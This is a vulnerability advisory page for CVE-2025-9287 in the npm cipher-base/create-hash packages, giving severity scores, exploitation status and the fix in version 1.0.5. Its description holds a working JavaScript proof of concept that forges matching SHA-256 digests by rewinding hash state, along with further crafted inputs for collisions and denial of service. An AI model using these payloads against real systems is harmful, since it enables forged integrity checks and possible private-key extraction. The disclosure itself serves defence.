Skip to main content
VulnerabilityPublished Updated

CVE-2025-9287: cipher-base is missing type checks, leading to hash rewind and passing on crafted data

Affects cipher-baseSource GCVE Database

0
Compare
Authoritative record:CVE-2025-9287· Critical 9.1

Not known to be exploited · CVSS 9.1 Critical : upgrade to 1.0.5 as a priority.

Data as of 29 Oct 2026, 22:52 UTC

CVSS 4.0 base score
9.1Critical
How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none
CVSS scores by source
CNA (harborist)CVSS 4.09.1
Patch
Available – fixed in 1.0.5
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 20 Aug 2025

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

What to do

Upgrade cipher-base to 1.0.5.

Affected software

ProductAffectedFixed in
npmcipher-baseAffected
  • <1.0.5
Fixed in
  • 1.0.5

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary This affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package Also affects `create-hmac` and other packages Node.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView. Missing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC ```js const createHash = require('create-hash/browser.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = createHash('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0]) ``` Output: ``` 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 Hashed input means safe ``` This works with: ```js const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }]) ``` But there are other types of input which lead to unchecked results ### Impact 1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }` This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js) 4. DoS on `{length:'1e99'}` 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh)) 6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength

References

Community reviews

Loading reviews…